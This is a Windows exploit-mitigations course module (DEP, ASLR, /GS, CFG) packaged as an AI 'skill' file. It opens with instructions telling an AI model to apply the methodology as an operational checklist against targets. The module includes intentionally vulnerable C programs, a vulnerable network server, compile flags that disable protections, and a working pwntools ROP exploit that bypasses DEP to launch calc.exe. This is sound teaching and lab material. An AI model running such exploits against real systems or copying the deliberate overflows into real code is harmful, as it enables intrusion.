SKILL: Week 6: Understanding Windows Mitigations

Metadata

• Skill Name: windows-mitigations
• Folder: offensive-windows-mitigations
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/6-windows-mitigations.md

Description

Deep-dive on Windows exploit mitigations: ASLR, DEP/NX, CFG, CET/Shadow Stack, SEHOP, Heap Guard, ACG, Arbitrary Code Guard. Covers both the protection mechanism and known bypass techniques. Use when researching Windows exploit mitigations, planning bypass strategies, or understanding protection depth.

Trigger Phrases

Use this skill when the conversation involves any of: Windows mitigations, ASLR, DEP, NX, CFG, CET, shadow stack, SEHOP, heap guard, ACG, mitigation bypass, exploit mitigation, Windows hardening

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

---

Full Methodology

Week 6: Understanding Windows Mitigations

Overview

created by AnotherOne from @Pwn3rzs Telegram channel.

Last week you learned basic exploitation in an environment without protections. This week, you'll learn about the defensive mechanisms that modern Windows systems employ to prevent those attacks. Understanding these mitigations is essential before learning to bypass them (Week 8). Week 7 continues with enterprise security topics (offensive reconnaissance, Windows 11 24H2/25H2 mitigations, cross-platform defenses).

This Week's Focus:

• Understand how each mitigation works
• Learn to detect active mitigations
• Verify mitigation effectiveness
• Test exploits against protected binaries
• Prepare for Week 7's boundaries and Week 8's bypass techniques

Prerequisites

Before starting this week, ensure you have:

• Completed Week 5: Basic Exploitation (Linux) - you should be able to exploit stack overflows, build ROP chains, and use pwntools
• A Windows 11 VM (isolated, snapshot before each exercise)
• Visual Studio 2022 Build Tools installed
• WinDbg Preview installed
• Basic familiarity with x64 assembly and calling conventions

Week 6 Deliverables

By the end of this week, you should have completed the following:

• Lab Environment: Windows 11 VM with Visual Studio Build Tools, WinDbg Preview, and Sysinternals installed
• Test Binaries: Compiled vulnerable_suite_win_mitigated.c and vuln_server_win.c with various mitigation flags
• DEP Verified: Demonstrated DEP blocking shellcode execution with crash analysis (Exception Code 0xC0000005, Param 8)
• ASLR Measured: Recorded addresses of check_aslr.exe across 3 reboots and documented randomization behavior
• Stack Cookie Tested: Triggered /GS cookie check failure and analyzed in WinDbg
• CFG Validated: Demonstrated CFG blocking indirect call to invalid target
• Crash Dumps Analyzed: Created at least 3 crash dumps and identified which mitigation caused each termination using !analyze -v
• Week 5 Exploit Retesting: Re-ran Week 5 exploits against mitigated binaries and documented failures
• Mitigation Audit Report: Generated system-wide and per-binary mitigation audit using PowerShell scripts
• Hardening Capstone: Completed the SecureServer v1.0 hardening exercise (Day 7)

Context

Why Mitigations Matter: Modern exploits chain multiple vulnerabilities and bypass layers of protection. Understanding mitigations helps you:

• Recognize when an exploit is blocked vs. when it succeeds
• Analyze crash dumps to identify exploitation attempts
• Design defense-in-depth strategies
• Prepare for Weeks 7-8 (advanced mitigations and bypass techniques)

Recent CVEs Demonstrating Mitigation Importance:

Connection to Week 4 (Crash Analysis):

When you receive a crash dump, the exception codes reveal which mitigation stopped the exploit:

Week 4 Crash Analysis -> Week 6 Mitigation Identification
─────────────────────────────────────────────────────────
Process Exit Code         WinDbg Exception Code        Mitigation
──────────────────────    ─────────────────────        ──────────
0xC0000005 (Param[0]=8)   0xC0000005                   DEP violation (execute on NX page)
0xC0000409                0xC0000409 (subcode 2)        /GS stack cookie corruption
0x80000003                0xC0000409 (subcode 10)       CFG indirect call validation failed
0x80000003                0xC0000407                    CET shadow stack mismatch
0xC0000374                0xC0000374                    Heap integrity check failed

IMPORTANT: Python/cmd see the PROCESS EXIT CODE. WinDbg sees the EXCEPTION CODE.
CFG and CET both use __fastfail() which raises int 0x29 -> exit code 0x80000003,
but the EXCEPTION RECORD inside WinDbg shows the original status code.

Windows Mitigations Relevance

Understanding these bug classes prepares you for real-world vulnerability research:

Day 1: DEP and ASLR Fundamentals

• Goal: Understand the two foundational exploit mitigations: DEP and ASLR.
• Activities:
  • Reading:
    • Microsoft DEP Documentation
    • Bypassing ASLR/DEP
    • ASLR Implementation Details
  • Online Resources:
    • OffensiveCon23 - Changing and Unchanged Things in Vulnerability Research
    • Bypass Control Flow Guard Comprehensively
    • BlueHat 2018 - Windows: Hardening with Hardware
    • OffensiveCon18 - The Evolution of CFI Attacks and Defenses
    • Battle Of The SKM And IUM: How Windows 10 Rewrites OS Architecture
  • Tool Setup:
    • Windows 11 VM (24H2 recommended)
    • Process Explorer / Process Monitor
    • dumpbin (Visual Studio tool)
    • WinDbg Preview with Time Travel Debugging
  • Exercise:
    • Verify DEP blocks shellcode execution
    • Observe ASLR randomization across reboots
    • Compile programs with/without protections
    • Analyze a real CVE crash dump to identify mitigation involvement

Deliverables

• Lab Report: Documented observations of DEP crashes (Exception Code 0xC0000005, Param 8)
• ASLR Log: Recorded addresses of check_aslr.exe across 3 reboots
• Crash Analysis: Completed mitigation identification table for the 4 test dumps
• Analysis Report: Completed analysis table for all 4 crash dumps
• Screenshots: WinDbg output showing the "Smoking Gun" for each crash
• Write-up: 1-paragraph explanation of how you identified each mitigation

Lab Directory Structure

C:\Windows_Mitigations_Lab\
- src\                          # Source code for test binaries
- bin\                          # Compiled binaries
- dumps\                        # Crash dumps from WER/ProcDump
- exploits\                     # Week 5 exploits for testing
- reports\                      # Mitigation audit reports

Transitioning from Linux to Windows Debugging

If you are coming from Week 5 (Linux), use this table to map your pwndbg commands to WinDbg:

[!TIP] Week 4 Callback: For more advanced WinDbg usage, refer back to Week 4: Crash Analysis where we covered TTD (Time Travel Debugging) and symbol configuration in detail.

Standardized Vulnerable Targets

To maintain continuity with previous weeks, we will use a Windows port of the vulnerable suite and the capstone server. Save these into C:\Windows_Mitigations_Lab\src.

1. The Mitigation Test Suite (vulnerable_suite_win_mitigated.c)

This replaces generic tests (dep_test.c, etc.) with a unified suite mirroring Week 4's lab.

[!IMPORTANT] Modern MSVC removed gets() - it was removed in C11 as too dangerous. We use fgets() with a size mismatch instead, which MSVC recognizes as needing /GS protection.

/*
 * vulnerable_suite_win_mitigated.c
 * Windows Port of Week 4 Vulnerable Suite
 * Compile with varying flags to test mitigations.
 *
 * NOTE: gets() was removed in modern MSVC. We use fgets() with
 * intentional size mismatch to create the same vulnerability
 * while triggering MSVC's /GS heuristics.
 */
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "user32.lib")

void stack_overflow() {
    char buffer[64];

    printf("[*] Stack Overflow Target: Buffer at %p\n", buffer);
    printf("[*] Enter payload: ");
    fflush(stdout);

    // Vulnerable: fgets reads up to 256 bytes into 64-byte buffer!
    // This pattern triggers MSVC's /GS protection when compiled with /GS
    fgets(buffer, 256, stdin);
    buffer[strcspn(buffer, "\n")] = 0;  // Remove newline

    printf("[*] Received: %s\n", buffer);
}

void heap_overflow() {
    HANDLE hHeap = GetProcessHeap();
    char *chunk1 = (char*)HeapAlloc(hHeap, 0, 64);
    char *chunk2 = (char*)HeapAlloc(hHeap, 0, 64);

    printf("[*] Heap Chunks: %p, %p\n", chunk1, chunk2);
    printf("[*] Simulating linear overflow from Chunk1...\n");

    // Vulnerable: overflow into chunk2 metadata
    memset(chunk1, 'A', 128);

    printf("[*] Freeing corrupted Chunk2 (Should crash if Heap Integrity on)...\n");
    HeapFree(hHeap, 0, chunk2);
    HeapFree(hHeap, 0, chunk1);
}

void dep_trigger() {
    printf("[*] DEP Trigger: Executing data section...\n");
    // Int3 (0xCC) ; Ret (0xC3)
    unsigned char shellcode[] = { 0xCC, 0xC3 };
    void (*func)() = (void(*)())shellcode;
    func();
}

void funcptr_test() {
    void (*callback)() = dep_trigger;

    printf("[*] Function Pointer Test\n");
    printf("[*] Function pointer at: %p\n", &callback);
    printf("[*] Currently points to: %p\n", callback);
    printf("[*] Enter new function address (hex): ");
    fflush(stdout);

    unsigned long long addr;
    scanf("%llx", &addr);
    callback = (void(*)())addr;

    printf("[*] Calling function at %p...\n", callback);
    callback();  // CFG would block this if target is invalid
}

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: %s <mode>\n", argv[0]);
        printf("Modes: stack, heap, dep, funcptr\n");
        return 1;
    }

    if (strcmp(argv[1], "stack") == 0) stack_overflow();
    else if (strcmp(argv[1], "heap") == 0) heap_overflow();
    else if (strcmp(argv[1], "dep") == 0) dep_trigger();
    else if (strcmp(argv[1], "funcptr") == 0) funcptr_test();

    return 0;
}

2. The Capstone Server (vuln_server_win.c)

A Winsock port of the Week 5 Capstone. Used to test network exploits against hardened Windows.

/*
 * vuln_server_win.c - Winsock Port
 * Compile: cl vuln_server_win.c /link ws2_32.lib
 */
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

void handle_client(SOCKET client_socket) {
    char buffer[512];
    char response[] = "Welcome to SecureServer v1.0 (Windows)\n";
    send(client_socket, response, strlen(response), 0);

    // VULNERABILITY: Stack Buffer Overflow
    // recv accepts up to 1024 bytes into a 512 byte buffer
    int bytes_received = recv(client_socket, buffer, 1024, 0);

    if (bytes_received > 0) {
        printf("[*] Received %d bytes\n", bytes_received);
        buffer[bytes_received] = '\0';
        // Echo back (Format String vuln potential if printf(buffer) used)
        send(client_socket, buffer, bytes_received, 0);
    }
    closesocket(client_socket);
}

int main() {
    WSADATA wsa;
    SOCKET server_fd, client_fd;
    struct sockaddr_in server, client;
    int c;

    WSAStartup(MAKEWORD(2,2), &wsa);
    server_fd = socket(AF_INET, SOCK_STREAM, 0);

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(8888);

    bind(server_fd, (struct sockaddr *)&server, sizeof(server));
    listen(server_fd, 3);

    printf("[*] Windows Vulnerable Server listening on port 8888...\n");

    c = sizeof(struct sockaddr_in);
    while((client_fd = accept(server_fd, (struct sockaddr *)&client, &c)) != INVALID_SOCKET) {
        printf("[*] Connection accepted\n");
        handle_client(client_fd);
    }

    closesocket(server_fd);
    WSACleanup();
    return 0;
}

Per-Binary Mitigation Control:

# RECOMMENDED: Control mitigations via compiler/linker flags per binary
# This is safer, doesn't require reboots, and mirrors enterprise practice

# Build WITHOUT mitigations (for Week 5-style testing):
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\dep_test.exe /link /NXCOMPAT:NO /DYNAMICBASE:NO /FIXED

# Build WITH mitigations (for Week 6 testing):
cl /GS /guard:cf /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\mitigated_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA /guard:cf

# Per-process mitigation control (Run in ADMIN POWERSHELL):
Set-ProcessMitigation -Name "bin\dep_test.exe" -Disable DEP,ForceRelocateImages,BottomUp
Set-ProcessMitigation -Name "bin\dep_test.exe" -Enable DEP,ForceRelocateImages,BottomUp

# NOTE: On x64 Windows, DEP is often MANDATORY for 64-bit processes
# regardless of linker flags. Use Set-ProcessMitigation to override.

Compiler/Linker Flag Reference (x64):

Graduated Mitigation Introduction

Step 1: DEP Only

Setup (Using Standardized Suite):

# PREFERRED: Use per-binary linker flags instead of system-wide changes

# Compile WITH DEP, WITHOUT ASLR (to isolate DEP testing)
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\dep_test.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED

# Verify the binary has DEP enabled:
dumpbin /headers bin\dep_test.exe | findstr "NX compatible"
# Should show: "NX compatible"

Step 2: DEP + ASLR

Setup:

# Compile with BOTH DEP and ASLR enabled via linker flags
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\aslr_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA

# Verify:
dumpbin /headers bin\aslr_test.exe | findstr "NX Dynamic High"
# Should show: NX compatible, Dynamic base, High Entropy Virtual Addresses

[!CAUTION] System DLL ASLR Even if you compile your binary with /DYNAMICBASE:NO /FIXED, Windows 10/11 will still randomize the location of system DLLs like kernel32.dll and kernelbase.dll on each boot.

To demonstrate the ASLR bypass working on dep_test.exe, you must:

1. Find the current addresses using WinDbg (see instructions below)
2. Update the address variables in your script
3. The exploit will work on dep_test.exe (binary has no ASLR)
4. The exploit will fail on aslr_test.exe (binary base is randomized)
5. After a reboot, even dep_test.exe addresses become invalid - demonstrating why ASLR matters

Finding Gadget Addresses with WinDbg:

# Launch WinDbg with the target
windbg C:\Windows_Mitigations_Lab\bin\dep_test.exe stack

# In WinDbg, run these commands:
0:000> g                                              # Run to the input prompt
0:000> lm                                             # List loaded modules
0:000> x KERNEL32!WinExec                             # Find WinExec address
0:000> s -b KERNELBASE <start> L<size> 59 c3          # Find 'pop rcx; ret' (59 c3)
0:000> u <address> L2                                 # Verify the gadget

# Example session:
# 0:000> x KERNEL32!WinExec
# 00007ffd`616907f0 KERNEL32!WinExec
# 0:000> s -b KERNELBASE 00007ffd`5f8d0000 L3ef000 59 c3
# 00007ffd`5f912303  59 c3 ...
# 0:000> u 00007ffd`5f912303 L2
# 00007ffd`5f912303 59       pop rcx
# 00007ffd`5f912304 c3       ret      <- Clean gadget!

Test Your Week 5 ROP Exploit (x64):

This script demonstrates a ROP chain that bypasses DEP using WinExec. Run it against both binaries to see ASLR's effect:

#!/usr/bin/env python3
# c:\Windows_Mitigations_Lab\exploits\week5_aslr_test.py
"""
Test: Week 5 ROP/ret2lib exploit - Demonstrating ASLR's Effect

Usage:
  1. First, get current addresses from WinDbg attached to dep_test.exe:
     - x KERNEL32!WinExec
     - s -b KERNELBASE <start> L<size> 59 c3  (find 'pop rcx; ret')
  2. Update the addresses below
  3. Run against dep_test.exe  -> Should SUCCEED (calc pops)
  4. Run against aslr_test.exe -> Should FAIL (addresses randomized)
  5. Reboot and try dep_test.exe again -> Should FAIL (DLL addresses changed)
"""
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'info'

# Choose target binary (default: dep_test.exe for success demo)
target = sys.argv[1] if len(sys.argv) > 1 else 'dep_test.exe'
target_path = rf'C:\Windows_Mitigations_Lab\bin\{target}'

log.info(f"Target: {target}")
io = process([target_path, 'stack'])

# --- VERIFIED ADDRESSES FROM WINDBG SESSION ---
# UPDATE THESE for your system! Find them with:
#   WinDbg> x KERNEL32!WinExec
#   WinDbg> s -b KERNELBASE <start> L<size> 59 c3
#   ropper --file bin\dep_test.exe --search "ret"
winexec_addr   = 0x00007ffd616907f0  # KERNEL32!WinExec
pop_rcx_ret    = 0x00007ffd5f912303  # KERNELBASE: pop rcx; ret
ret_gadget     = 0x0000000140001078  # dep_test.exe: clean 'ret' gadget

# NOTE: ret_gadget is from the BINARY, not system DLLs!
# For dep_test.exe (no ASLR): binary always loads at 0x140000000
# For aslr_test.exe (ASLR): binary base is randomized - this gadget WON'T WORK

log.info(f"WinExec:     {hex(winexec_addr)}")
log.info(f"pop rcx;ret: {hex(pop_rcx_ret)}")

# --- LEAK STACK ADDRESS ---
io.recvuntil(b"Buffer at ")
stack_leak = int(io.recvline().strip(), 16)
log.info(f"Stack leak:  {hex(stack_leak)}")

io.recvuntil(b"Enter payload: ")

# --- BUILD PAYLOAD ---
offset_to_ret = 72
cmd_string_offset = 200  # Place "calc.exe" at a safe offset
cmd_string_addr = stack_leak + cmd_string_offset

payload = b"A" * offset_to_ret

# ROP Chain:
# 1. Align stack (needed for some functions)
payload += p64(ret_gadget)
# 2. pop rcx; ret -> RCX = &"calc.exe"
payload += p64(pop_rcx_ret)
payload += p64(cmd_string_addr)
# 3. Call WinExec("calc.exe", <whatever is in RDX>)
payload += p64(winexec_addr)

# Pad to cmd_string_offset and add the command
payload = payload.ljust(cmd_string_offset, b"X")
payload += b"calc.exe\x00"

log.info(f"Payload size: {len(payload)}")
log.info(f"cmd @ stack+{cmd_string_offset} = {hex(cmd_string_addr)}")

io.sendline(payload)

# --- CHECK RESULT ---
import time
time.sleep(2)

# Wait for process and check result
try:
    io.wait(timeout=3)
except:
    pass

if io.returncode is None:
    # Process still running - ROP chain might have worked!
    log.success("Process still alive after ROP chain")
    log.info("CHECK MANUALLY: Did calc.exe pop up?")
    log.info(f"  - If YES: Exploit succeeded against {target}")
    log.info(f"  - If NO:  ROP chain failed silently (bad addresses?)")
    io.close()
else:
    exit_code = io.returncode & 0xFFFFFFFF
    if exit_code == 0xc0000005:  # ACCESS_VIOLATION
        log.failure(f"Access Violation - exploit FAILED against {target}")
        if 'aslr' in target.lower():
            log.info("EXPECTED: ASLR randomized the binary base, ret_gadget is invalid!")
            log.info("The ROP chain used a gadget from the binary at a fixed address.")
        else:
            log.warning("Addresses may be stale. Re-run WinDbg and update them.")
    elif exit_code == 0xc0000409:  # STACK_BUFFER_OVERRUN
        log.failure(f"/GS cookie triggered - exploit FAILED against {target}")
    elif exit_code == 0:
        log.info("Process exited normally (code 0)")
        log.info("CHECK MANUALLY: Did calc.exe pop up?")
    else:
        log.info(f"Exit code: {hex(exit_code)}")

Expected Results:

# Against dep_test.exe (no ASLR) - calc.exe pops!
python exploits\week5_aslr_test.py dep_test.exe
#[*] Target: dep_test.exe
#[*] WinExec:     0x7ffd616907f0
#[*] pop rcx;ret: 0x7ffd5f912303
#[*] Stack leak:  0x14fea0          <- Low, predictable address (no ASLR)
#[+] Process still alive after ROP chain
#[*] CHECK MANUALLY: Did calc.exe pop up?
#